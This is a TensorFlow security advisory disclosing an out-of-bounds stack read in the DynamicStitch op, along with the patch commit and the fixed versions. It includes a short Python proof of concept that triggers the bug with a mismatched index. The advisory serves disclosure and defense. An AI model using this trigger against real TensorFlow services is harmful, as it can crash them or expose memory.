TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch

Impact

If the parameter indices for DynamicStitch does not match the shape of the parameter data, it can trigger an stack OOB read.

```python

import tensorflow as tf

func = tf.raw_ops.DynamicStitch

para={'indices': [[0xdeadbeef], [405], [519], [758], [1015]], 'data': [[110.27793884277344], [120.29475402832031], [157.2418212890625], [157.2626953125], [188.45382690429688]]}

y = func(**para)

`

Patches

We have patched the issue in GitHub commit [ee004b18b976eeb5a758020af8880236cd707d05](https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This has been reported via Google OSS VRP.